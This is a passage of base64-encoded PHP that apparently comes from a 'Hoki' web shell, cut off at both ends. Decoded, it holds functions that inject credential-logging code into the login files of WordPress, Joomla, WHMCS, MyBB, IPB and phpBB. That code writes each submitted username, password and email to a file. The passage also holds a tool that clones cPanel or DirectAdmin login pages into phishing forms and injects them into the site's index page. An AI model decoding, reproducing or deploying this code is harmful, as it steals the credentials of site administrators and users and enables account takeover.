GZpbGVfcHV0X2NvbnRlbnRzKCRjbGFzcywgJGNsYXNzX3JlcGxhY2UpOwpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsKfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn0KZnVuY3Rpb24gaGlqYWNrd3Ao
JHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRob2tpX2ZpbGU9IntzYXZldG9fcGF0aH0iOyRmcCA9IGZvcGVuKCRob2tpX2ZpbGUsICJhKyIpO2Z3cml0ZSgkZnAsICRfUE9TVFtcJ2xvZ1wnXS4iIDogIi4kX1BPU1RbXCdwd2RcJ10uIiAoIi4oJHV
zZXItPnVzZXJfZW1haWwpLiIpXG4iKTtmY2xvc2UoJGZwKTskZiA9IEBmaWxlKCRob2tpX2ZpbGUpOyRuZXcgPSBhcnJheV91bmlxdWUoJGYpOyRmcCA9IEBmb3BlbigkaG9raV9maWxlLCAidyIpO2ZvcmVhY2goJG5ldyBhcyAkdmFsdWVzKXtAZn
B1dHMoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApOyc7CiRyZWRpcmVjdF93cCA9ICcjaWZbIF17MCx9XChbIF17MCx9IVsgXXswLH1pc193cF9lcnJvclwoWyBdezAsfVwkdXNlclsgXXswLH1cKVsgXXswLH0mJlsgXXswLH0hWyBdezAsfVwkc
mVhdXRoWyBdezAsfVwpWyBdezAsfXsjJzsKJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOwokbG9naW49JHBhdGguIi93cC1sb2dpbi5waHAiOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFi
bGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKEBwcmVnX21hdGNoKCRyZWRpcmVjdF93cCwgJGRhdGFfbG9naW4sICRtYXRjaCkpewokZXZpbF9sb2dpbiA9ICJcdCIuJG1hdGNoWzBdLiJcblx
0Ii4kY29kZTsKJGxvZ2luX3JlcGxhY2UgPSBAcHJlZ19yZXBsYWNlKCRyZWRpcmVjdF93cCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLC
RzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tKb29tbGEoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJzw/cGhwIGppbXBvcnQoXCdqb29tbGEudXNlci5hd
XRoZW50aWNhdGlvblwnKTskSG9raV9hdXRoID0gJiBKQXV0aGVudGljYXRpb246OmdldEluc3RhbmNlKCk7JEhva2lfZGF0YSA9IGFycmF5KFwndXNlcm5hbWVcJz0+JF9QT1NUW1wndXNlcm5hbWVcJ10sXCdwYXNzd29yZFwnPT4kX1BPU1RbXCdw
YXNzd2RcJ10pOyRIb2tpX29wdGlvbnMgPSBhcnJheSgpOyRIb2tpX3Jlc3BvbnNlID0gJEhva2lfYXV0aC0+YXV0aGVudGljYXRlKCRIb2tpX2RhdGEsICRIb2tpX29wdGlvbnMpO2lmKCRIb2tpX3Jlc3BvbnNlLT5zdGF0dXMgPT0gMSl7JGhva2l
fZmlsZT0ie3NhdmV0b19wYXRofSI7JGZwPUBmb3BlbigkaG9raV9maWxlLCJhKyIpO0Bmd3JpdGUoJGZwLCAkSG9raV9yZXNwb25zZS0+dXNlcm5hbWUuIjoiLiRfUE9TVFtcJ3Bhc3N3ZFwnXS4iICggIi4kSG9raV9yZXNwb25zZS0+ZW1haWwuIi
ApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkaG9raV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGhva2lfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlc
yk7fUBmY2xvc2UoJGZwKTt9Pz4nOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRjb21wPSRwYXRoLiIvYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9sb2dpbi8iOwppZihAaXNfZmlsZSgkY29t
cC4iL2xvZ2luLnBocCIpKXsKJGxvZ2luID0gJGNvbXAuIi9sb2dpbi5waHAiOwp9ZWxzZWlmKEBpc19maWxlKCRjb21wLiIvYWRtaW4ubG9naW4ucGhwIikpewokbG9naW4gPSAkY29tcC4iL2FkbWluLmxvZ2luLnBocCI7Cn1lbHNlewokbG9naW4
gPSAnJzsKfQppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSBBTkQgJGxvZ2luICE9ICcnKXsKJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsKJGV2aWxfbG9naW4gPSAkY29kZS4iXG4iLi
RkYXRhX2xvZ2luOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkZXZpbF9sb2dpbik7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn0KZnVuY3Rpb24gaGlqYWNrV2htY3MoJHBhdGgsJHNhdmV0b
yl7CiRjb2RlID0gJzw/cGhwIGlmKGlzc2V0KCRfUE9TVFtcJ3VzZXJuYW1lXCddKSBBTkQgaXNzZXQoJF9QT1NUW1wncGFzc3dvcmRcJ10pIEFORCAhZW1wdHkoJF9QT1NUW1wndXNlcm5hbWVcJ10pIEFORCAhZW1wdHkoJF9QT1NUW1wncGFzc3dv
cmRcJ10pKXtpZigkaG9raV9jb25uZWN0PUBteXNxbGlfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkLCRkYl9uYW1lKSl7JGhva2lfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9IjskaG9raV91bmFtZSA9IEAkX1BPU1RbXCd
1c2VybmFtZVwnXTskaG9raV9wdyA9IEAkX1BPU1RbXCdwYXNzd29yZFwnXTtpZihpc3NldCgkX1BPU1RbXCdsYW5ndWFnZVwnXSkpeyRob2tpX3EgPSAiU0VMRUNUICogRlJPTSB0YmxhZG1pbnMgV0hFUkUgYHVzZXJuYW1lYCA9IFwnJGhva2lfdW
5hbWVcJyBBTkQgYHBhc3N3b3JkYCA9IFwnIi5tZDUoJGhva2lfcHcpLiJcJyI7JGFkbWluID0gdHJ1ZTt9ZWxzZXskaG9raV9xID0gIlNFTEVDVCAqIEZST00gdGJsY2xpZW50cyBXSEVSRSBgZW1haWxgID0gXCckaG9raV91bmFtZVwnIjskYWRta
W4gPSBmYWxzZTt9JGhva2lfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGhva2lfY29ubmVjdCwgJGhva2lfcSk7aWYobXlzcWxpX251bV9yb3dzKCRob2tpX3F1ZXJ5KSA+IDAgKXskcm93ID0gbXlzcWxpX2ZldGNoX2FycmF5KCRob2tpX3F1ZXJ5KTsk
YWxsb3cgPSB0cnVlO2lmKCEkYWRtaW4peyRfX3NhbHQgPSBleHBsb2RlKFwnOlwnLCAkcm93W1wncGFzc3dvcmRcJ10pOyRfX2VuY1BXID0gbWQ1KCRfX3NhbHRbMV0uJF9QT1NUW1wncGFzc3dvcmRcJ10pLlwnOlwnLiRfX3NhbHRbMV07aWYoJHJ
vd1tcJ3Bhc3N3b3JkXCddID09ICRfX2VuY1BXKXskYWxsb3cgPSB0cnVlOyRyb3dbXCd1c2VybmFtZVwnXSA9ICRyb3dbXCdlbWFpbFwnXTt9ZWxzZXskYWxsb3cgPSBmYWxzZTt9fWlmKCRhbGxvdyl7JGZwID0gQGZvcGVuKCRob2tpX2ZpbGUsIC
JhKyIpO0Bmd3JpdGUoJGZwLCAkcm93W1wndXNlcm5hbWVcJ10gLiBcJyA6IFwnIC4gICRob2tpX3B3LiIgKCIgLiAkcm93WyJlbWFpbCJdIC4gIikgOiAiLigkYWRtaW4gPyBcJ2lzX2FkbWluXCcgOiBcJ2lzX3VzZXJcJykuIlxuIik7QGZjbG9zZ
SgkZnApOyRmID0gQGZpbGUoJGhva2lfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRob2tpX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0Bmd3JpdGUoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgk
ZnApO319fX0/Pic7CiRjb2RlPXN0cl9yZXBsYWNlKCd7c2F2ZXRvX3BhdGh9Jywkc2F2ZXRvLCRjb2RlKTsKJGNvbmY9JHBhdGguIi9jb25maWd1cmF0aW9uLnBocCI7CmlmKEBpc19maWxlKCRjb25mKSBBTkQgQGlzX3dyaXRhYmxlKCRjb25mKSl
7CiRkYXRhX2NvbmYgPSBAZmlsZV9nZXRfY29udGVudHMoJGNvbmYpOwppZighc3Ryc3RyKCRkYXRhX2NvbmYsJz8+JykpJGNvZGUgPSAnPz4nLiRjb2RlOwokZXZpbF9jb25mID0gJGRhdGFfY29uZi4iXG4iLiRjb2RlOwpAZmlsZV9wdXRfY29udG
VudHMoJGNvbmYsICRldmlsX2NvbmYpOwpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsKfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9CmZ1bmN0aW9uIGhpamFja015YmIoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRob2tpX3EgPSAkZGItPnF1Z
XJ5KCJTRUxFQ1QgYGVtYWlsYCBGUk9NICIuVEFCTEVfUFJFRklYLiJ1c2VycyBXSEVSRSBgdXNlcm5hbWVgID0gXCciLiR1c2VyW1wndXNlcm5hbWVcJ10uIlwnIik7JGhva2lfZmV0Y2ggPSAkZGItPmZldGNoX2FycmF5KCRob2tpX3EpOyRob2tp
X2ZpbGUgPSAie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRob2tpX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkdXNlcltcJ3VzZXJuYW1lXCddLiIgOiAiLiAkdXNlcltcJ3Bhc3N3b3JkXCddLiIgKCAiLiRob2tpX2ZldGNoW1wnZW1haWx
cJ10uIiApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkaG9raV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGhva2lfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZ3cml0ZSgkZnAsIC
R2YWx1ZXMpO31AZmNsb3NlKCRmcCk7JzsKJGZpbmQgPSAnJGxvZ2luaGFuZGxlci0+Y29tcGxldGVfbG9naW4oKTsnOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL21lbWJlc
i5waHAiOwokZXZpbF9sb2dpbiA9ICJcdCIuJGNvZGUuIlxuXHQiLiRmaW5kOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKHN0
cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja09
1dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tJUEIoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRIb2tpX3EgPSAkdGhpcy0+REItPmJ1aW
xkQW5kRmV0Y2goYXJyYXkoXCdzZWxlY3RcJyA9PiBcJ2VtYWlsXCcsIFwnZnJvbVwnID0+IFwnbWVtYmVyc1wnLCBcJ3doZXJlXCcgPT4gXCduYW1lPSJcJy4kdXNlcm5hbWUuXCciIE9SIGVtYWlsPSJcJy4kZW1haWwuXCciXCcpKTskSG9raV9ma
WxlID0gIntzYXZldG9fcGF0aH0iOyRmcCA9IEBmb3BlbigkSG9raV9maWxlLCAiYSsiKTtAZndyaXRlKCRmcCwgJF9QT1NUW1wnaXBzX3VzZXJuYW1lXCddLlwnIDogXCcuJF9QT1NUW1wnaXBzX3Bhc3N3b3JkXCddLlwnICggXCcuJEhva2lfcVtc
J2VtYWlsXCddLlwnIClcJy4iXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkSG9raV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJEhva2lfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZ
wdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTsnOwokZmluZCA9ICd1bnNldCggJG1lbWJlcltcJ3BsYWluUGFzc3dvcmRcJ10gKTsnOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj
0kcGF0aC4iL2FkbWluL3NvdXJjZXMvaGFuZGxlcnMvaGFuX2xvZ2luLnBocCI7CiRldmlsX2xvZ2luID0gIlx0Ii4kZmluZC4iXG5cdCIuJGNvZGU7CmlmKEBpc19maWxlKCRsb2dpbikgQU5EIEBpc193cml0YWJsZSgkbG9naW4pKXsKJGRhdGFfb
G9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsKaWYoc3Ryc3RyKCRkYXRhX2xvZ2luLCAkZmluZCkpewokbG9naW5fcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRmaW5kLCRldmlsX2xvZ2luLCAkZGF0YV9sb2dpbik7CkBmaWxlX3B1dF9j
b250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsKaGlqYWNrT3V0cHV0KDAsJHNhdmV0byk7Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9CmZ1bmN0aW9uIGhpamFja1BIUEJCKCRwYXRoLCR
zYXZldG8pewokY29kZSA9ICckSG9raV91ID0gcmVxdWVzdF92YXIoXCd1c2VybmFtZVwnLCBcJ1wnKTskSG9raV9wID0gcmVxdWVzdF92YXIoXCdwYXNzd29yZFwnLCBcJ1wnKTtpZigkSG9raV91ICE9IFwnXCcgQU5EICRIb2tpX3AgIT0gXCdcJy
l7JEhva2lfcmVzcG9uc2UgPSAkYXV0aC0+bG9naW4oJEhva2lfdSwkSG9raV9wKTtpZigkSG9raV9yZXNwb25zZVtcJ3N0YXR1c1wnXSA9PSBMT0dJTl9TVUNDRVNTKXskSG9raV9maWxlID0ie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRIb
2tpX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkSG9raV91LiIgOiAiLiRIb2tpX3AuICIgKCAiLiRIb2tpX3Jlc3BvbnNlW1wndXNlcl9yb3dcJ11bXCd1c2VyX2VtYWlsXCddLiIgKVxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJEhva2lf
ZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRIb2tpX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0BmcHV0cygkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7fX0nOwokZmluZCA9ICdjYXNlIFw
nbG9naW5cJzonOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL3VjcC5waHAiOwokZXZpbF9sb2dpbiA9ICJcdCIuJGZpbmQuIlxuXHQiLiRjb2RlOwppZihAaXNfZmlsZSgkbG
9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZ
CwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRw
dXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tPdXRwdXQoJGM9MCwkcD0nJyl7ZWNobygkYz09MD8iPGNlbnRlcj48Zm9udCBjb2xvcj0nZ3JlZW4nPlN1Y2Nlc3M8L2ZvbnQ+IC0tPiBwYXRoOiAkcDwvY2VudGVyPiI6JzxjZW50ZXI+PGZvbnQgY29
sb3I9InJlZCI+RXJyb3IgaW4gaW5qZWN0IGNvZGUgITwvZm9udD48L2NlbnRlcj4nKTt9CmZ1bmN0aW9uIEhva2lfU3RyU2VhcmNoZXIoJGRpciwkc3RyaW5nLCRleHQsJGUsJGFycj1hcnJheSgpKXsKaWYoQGlzX2RpcigkZGlyKSl7CiRmaWxlcz
1Ac2NhbmRpcigkZGlyKTsKZm9yZWFjaCgkZmlsZXMgYXMgJGtleSA9PiAkdmFsdWUpewokcGF0aD1AcmVhbHBhdGgoJGRpci4gRElSRUNUT1JZX1NFUEFSQVRPUiAuJHZhbHVlKTsKaWYoIUBpc19kaXIoJHBhdGgpKXsKaWYoJGV4dCE9JyonKXskZ
iA9IGJhc2VuYW1lKCRwYXRoKTskZiA9IGV4cGxvZGUoJy4nLCRmKTskZiA9IGVuZCgkZik7aWYoJGYhPSRleHQpY29udGludWU7fQppZigkZT09J3N0cicpewokY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CmlmKHN0cnBvcygk
Y29udGVudCwgJHN0cmluZykgIT09IGZhbHNlKXsKZWNobyBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCkgLiAiPGJyPiI7Cn0KfWVsc2V7CmlmKHN0cnN0cigkdmFsdWUsJHN0cmluZykpewplY2hvIHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXR
oKSAuICI8YnI+IjsKfQp9CiRyZXN1bHRzW10gPSAkcGF0aDsKfWVsc2VpZigkdmFsdWUgIT0gIi4iICYmICR2YWx1ZSAhPSAiLi4iKSB7Ckhva2lfU3RyU2VhcmNoZXIoJHBhdGgsJHN0cmluZywkZXh0LCRlLCRyZXN1bHRzKTsKJHJlc3VsdHNbXS
A9ICRwYXRoOwp9fX19CmZ1bmN0aW9uIGhva2lmYWtlcGFnZSgpewoJaG9raWhlYWQoKTsKCUhva2lOdW0oOSwxMCk7CgllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48YnI+Cgk8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhvc
3QgTWFuYWdlciBGYWtlIHBhZ2UgfDwvZGl2PjwvY2VudGVyPjxicj48YnI+PGZvcm0gb25TdWJtaXQ9ImcoXCdmYWtlcGFnZVwnLG51bGwsdGhpcy5jbG9uZV9wYWdlLnZhbHVlLHRoaXMuZmFrZV9yb290LnZhbHVlLFwnPj5cJyx0aGlzLmxvZ3Rv
LnZhbHVlLHRoaXMucGFuZWwudmFsdWUsdGhpcy5pbmplY3RfdG8udmFsdWUsdGhpcy5iaW5kX29uLnZhbHVlLHRoaXMuY291bnQudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KCTxkaXYgY2xhc3M9InR4dGZvbnQiIHN0eWx
lPSJwb3NpdGlvbjogcmVsYXRpdmU7bGVmdDogNTAlO3RyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUpOyI+PGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweD
siPlBhbmVsOiA8L3NwYW4+PHNlbGVjdCBzdHlsZT0id2lkdGg6MTAwcHg7IiBuYW1lPSJwYW5lbCI+JzsKCSRjbV9hcnJheSA9IGFycmF5KCJjcGFuZWwiPT4iQ3BhbmVsIiwiZGlyZWN0YWRtaW4iPT4iRGlyZWN0QWRtaW4iKTsKCWZvcmVhY2goJ
GNtX2FycmF5IGFzICRrZXk9PiR2YWwpZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciPicuJHZhbC4nPC9vcHRpb24+JzsKCWVjaG8oIjwvc2VsZWN0PjwvZGl2PiIpOwoJZWNobyAnPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48
c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPkNsb25lIHBhZ2U6IDwvc3Bhbj48aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImNsb25lX3BhZ2UiIHBsYWNlaG9sZGVyPSJlZzogaHR0cHM6Ly9
0YXJnZXQuY29tOjIwODMgfCBodHRwczovL3RhcmdldC5jb206MjIyMiI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuPkZha2UgcGFnZSByb290OiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0Ii
BuYW1lPSJmYWtlX3Jvb3QiIHZhbHVlPSInLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJy9mYWtlX3BhZ2Vfcm9vdC8iPjwvZGl2PgoJPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lL
WJsb2NrO3dpZHRoOiAxMDZweDsiPkluamVjdCB0bzogPC9zcGFuPjxpbnB1dCBzaXplPSI1MCIgdHlwZT0idGV4dCIgbmFtZT0iaW5qZWN0X3RvIiB2YWx1ZT0iJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLicvaW5kZXgucGhwIj48L2Rpdj4K
CTxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206NnB4OyI+PHNwYW4gc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jazt3aWR0aDogMTA2cHg7Ij5CaW5kIG9uOiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX29
uIiBwbGFjZWhvbGRlcj0iZWc6ICcuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nL3dwLWxvZ2luLnBocCI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2
lkdGg6IDEwNnB4OyI+TG9nIFRvOiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2d0byIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidsb2dzLnR4dCI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tO
jZweDsiPjxzcGFuIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2lkdGg6IDEwNnB4OyI+Q291bnQgb2YgSW52YWxpZCBsb2dpbjogPC9zcGFuPjxpbnB1dCBzaXplPSIyMCIgdHlwZT0idGV4dCIgbmFtZT0iY291bnQiIHZhbHVlPSIzIiBz
dHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48L2Rpdj4KCTxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnRuIiB2YWx1ZT0iICI+PC9kaXY+PC9kaXY+PC9mb3JtPjxicj4nOwoJJGNsb25
lX3BhZ2UgPSAkX1BPU1RbJ2hva2kxJ107CgkkZmFrZV9yb290ID0gJF9QT1NUWydob2tpMiddOwoJJGxvZ3RvID0gJF9QT1NUWydob2tpNCddOwoJJHBhbmVsID0gJF9QT1NUWydob2tpNSddOwoJJGluamVjdF90byA9ICRfUE9TVFsnaG9raTYnXT
sKCSRiaW5kX29uID0gJF9QT1NUWydob2tpNyddOwoJJGNvdW50ID0gJF9QT1NUWydob2tpOCddOwoJaWYoIWVtcHR5KCRjbG9uZV9wYWdlKSAmJiAhZW1wdHkoJGZha2Vfcm9vdCkgJiYgIWVtcHR5KCRsb2d0bykgJiYgIWVtcHR5KCRpbmplY3Rfd
G8pICYmICFlbXB0eSgkYmluZF9vbikgJiYgJF9QT1NUWydob2tpMyddID09ICc+PicpewoJCWVjaG8gX19wcmUoKTsKCQkkdGFyZ2V0ID0gJGNsb25lX3BhZ2U7CgkJJGN1cmwgPSBuZXcgSG9raUNVUkwoKTsKCQkkc291cmNlX3BhZ2UgPSAkY3Vy
bC0+U2VuZCgkdGFyZ2V0KTsKCQlpZighZW1wdHkoJHNvdXJjZV9wYWdlKSl7CgkJCSRtYXRjaGVkX2Zvcm0gPSAiIjsKCQkJaWYoJHBhbmVsID09ICJjcGFuZWwiKXsKCQkJCWlmKHByZWdfbWF0Y2goJyM8Zm9ybSguKilpZD0ibG9naW5fZm9ybSI
oLiopPiMnLCAkc291cmNlX3BhZ2UsICRtYXRjaCkpewoJCQkJCSRtYXRjaGVkX2Zvcm0gPSAkbWF0Y2hbMF07CgkJCQl9CgkJCX1lbHNlewoJCQkJaWYocHJlZ19tYXRjaCgnIzxmb3JtKC4qPyk+IycsICRzb3VyY2VfcGFnZSwgJG1hdGNoKSl7Cg
kJCQkJJG1hdGNoZWRfZm9ybSA9ICRtYXRjaFswXTsKCQkJCX0KCQkJfQoJCQlpZighZW1wdHkoJG1hdGNoZWRfZm9ybSkpewoJCQkJJGZha2UgPSAiIjsKCQkJCSRwd2QgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLCAnJ
ywgJGZha2Vfcm9vdCk7CgkJCQkkdXJpID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSwgJycsICRpbmplY3RfdG8pOwoJCQkJaWYoJHBhbmVsID09ICJjcGFuZWwiKXsKCQkJCQkkcG9ydCA9ICIyMDgzIjsKCQkJCX1lbHNl
ewoJCQkJCSR0YXJnZXQgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsICJodHRwczovLyIpLCAiIiwgJHRhcmdldCk7CgkJCQkJJHBvcnQgPSBleHBsb2RlKCI6IiwkdGFyZ2V0KTsKCQkJCQkkcG9ydCA9ICRwb3J0WzFdOwoJCQkJfQoJCQk
JaWYoc3Vic3RyKCR1cmksIDAsIDEpID09ICIvIil7CgkJCQkJJHVyaSA9IHN1YnN0cigkdXJpLCAxKTsKCQkJCX0KCQkJCSR1cmkgPSAkX1NFUlZFUlsiSFRUUF9PUklHSU4iXSAuICcvJyAuIHN0cl9yZXBsYWNlKCJpbmRleC5waHAiLCAiIiwgJH
VyaSkgLiAnPzonIC4gJHBvcnQ7CgkJCQkkbG9nX3VybCA9ICRfU0VSVkVSWyJIVFRQX09SSUdJTiJdIC4gJHB3ZCAuICcvbG9nLnBocCc7CgkJCQlpZigkcGFuZWwgPT0gImNwYW5lbCIpewoJCQkJCSRmb3JtID0gJzxmb3JtIG5vdmFsaWRhdGUga
WQ9ImxvZ2luX2Zvcm0iIGFjdGlvbj0iJy4kbG9nX3VybC4nIiBtZXRob2Q9InBvc3QiIHRhcmdldD0iX3RvcCIgc3R5bGU9InZpc2liaWxpdHk6Ij4nOwoJCQkJfWVsc2V7CgkJCQkJJGZvcm0gPSAnPGZvcm0gYWN0aW9uPSInLiRsb2dfdXJsLici
IG1ldGhvZD0icG9zdCI+JzsKCQkJCX0KCQkJCSRmYWtlID0gc3RyX3JlcGxhY2UoJG1hdGNoZWRfZm9ybSwgJGZvcm0sICRzb3VyY2VfcGFnZSk7CgkJCQlpZihAIWlzX2RpcigkZmFrZV9yb290KSl7CgkJCQkJQG1rZGlyKCRmYWtlX3Jvb3QsIDA
3NzcsIHRydWUpOwoJCQkJfQoKCQkJCSRjb29raWVfbmFtZSA9ICJob2tpX2Zha2VwYWdlX2NvdW50ZXIiIC4gcmFuZCg5OTk5LDk5OTk5KTsKCgkJCQkkcG9zdF91c2VyID0gJ3VzZXInOwoJCQkJJHBvc3RfcGFzcyA9ICdwYXNzJzsKCQkJCSRyZX
